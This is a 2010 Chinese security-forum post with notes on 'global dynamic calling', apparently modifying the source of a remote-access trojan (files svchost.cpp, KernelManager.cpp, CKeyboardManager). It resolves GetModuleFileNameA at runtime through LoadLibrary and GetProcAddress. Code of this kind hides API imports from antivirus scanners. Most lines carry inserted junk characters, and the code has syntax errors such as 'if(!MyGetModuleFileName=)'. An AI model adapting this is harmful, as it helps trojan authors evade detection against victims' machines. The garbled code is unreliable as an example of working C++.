Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记9 e/ _  e5 ~: {8 q5 D+ {7 ?
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h% x/ E; w( c* I- w% z
----------------------------------------
/ L% w- i4 A0 X6 h- N  EDTDY.h:
& F3 o6 c2 v( L. B# k0 ~3 G7 t& l2 C, k
#if _MSC_VER>1000! F. R9 U2 t( V! R
#pragma once
) z4 K+ V8 m7 _#endif //_MSC_VER>1000$ s7 S2 t+ e6 W  T& {( A
#include<windows.h>
8 j1 I- ^+ H6 M9 M, Z
5 l, T- c/ K6 m8 K8 {: c8 s( Otypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);' M, i: i9 K' b8 E" ~
class DTDY
: \1 `+ K1 B9 O' d! c7 S0 f; n{4 w" `+ M; `' k
public:
0 z/ ~6 B" c9 G& G) F; gDTDY();5 [0 w- f7 t. C7 n- x+ d
virtual ~DTDY();
0 d* o0 l& a! \( g5 x: k4 ?public:8 c, v6 b$ i  M6 P
static pGetModuleFileNameA MyGetModuleFileName;' `# R5 x* Q! Q! A) ~. s
static BOOL FunInitiallization();
1 ]% l; }' f4 s3 Y% K5 j};
& T' E! Z* t2 l5 Y#endif
, n/ ~- |) \+ R1 q; w8 r$ ?: p----------------------------------------
6 l; c. |$ t4 {) h. j1 s" Q$ v
5 x* O( f3 F1 G: k) Q/ yDTDY.cpp:  ?4 p  B/ _% U& G6 j% j) q5 y; z

: o4 d! g# F( O6 `2 _9 A" f#include "DTDY.h"
9 E& ~# {: K- H, }pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" P8 F8 A5 Q! a( PDTDY:TDY()6 u2 S3 e  n! |- I* F; V
{+ F, E; h# f% F2 M
}  A, R6 C) M( Q+ N( E
DTDY::~DTDY()1 M7 a9 S4 T% k3 ^5 T# ^
{! A4 \! M, \/ e' M1 Z- g
}% r6 C! |& q  i4 l& |
BOOL DTDY::FunInitiallization()6 z  i: ]% e$ J% G5 H. ~
{
+ b; E8 X) q2 \( ~4 T8 V6 e- M! dHMODULE hModule=LoadLibrary("kernel32.dll");
: K6 t8 d3 e2 t3 p) T9 G7 fMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");7 `& G$ G  T+ {
if(!MyGetModuleFileName=) return FALSE;
2 ]+ h& [7 l2 M) s# k6 ?: B
9 w) ?9 H$ d  A& r& Zreturn TRUE;
5 i- M7 j2 y5 |3 y, X, \}
# X, S: G. f" Z' ^& D* u" L+ |! L----------------------------------------
6 X% a! e6 z8 Y6 M( ]* }svchost.cpp:* f  ?4 D8 t) ^# {/ i% X$ r2 z) f
) A; h3 K  L+ V+ ?/ K& v
#include "DTDY.h"9 A( Q% u2 d! m0 X: g5 E
: J; p( w% z: o1 c) t# a
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)# M! k# M4 L+ U+ W
{
+ A. g1 ]1 p% z% P0 r6 iswitch(ul_reason_for_call)9 N7 @$ ?/ ?' u' S  f8 G( R( r
{
( k, N& T, }; e9 W- G4 Bcase DLL_PROCESS_ATTACH:( v) e$ ]1 H* [3 J; [* E7 ?+ p
if(!DTDY::FunInitiallization()) return FALSE;+ {+ \* L" x. h# g' H
7 \- w  c% \. [. p3 _3 k
break;: z0 N" r+ F7 l5 p( w) g
}: P  m- @3 G+ D
}% ^0 I0 o6 N1 q( O

5 @: m% Q  O9 l+ I
; g: M  ~) L6 r2 fGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
( O7 H1 P, M, ^* V改写为
1 j5 j& L: E% j6 P8 GDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
4 ^! R8 l0 s% ?----------------------------------------
: k7 g( A4 N' P: LKernelManager.cpp:
- u7 J7 t/ S1 X& `. L9 f8 x
: @& f/ N: @) U* y% H( E#include "../DTDY.h"
% f0 M* v5 R1 ?: I5 ~+ x( m) RGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ m" R: N+ f) `6 {* ~
改写为
2 P: M2 ~. M4 K0 ]4 w- Q. kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
9 Q$ {0 I. @  f; X----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2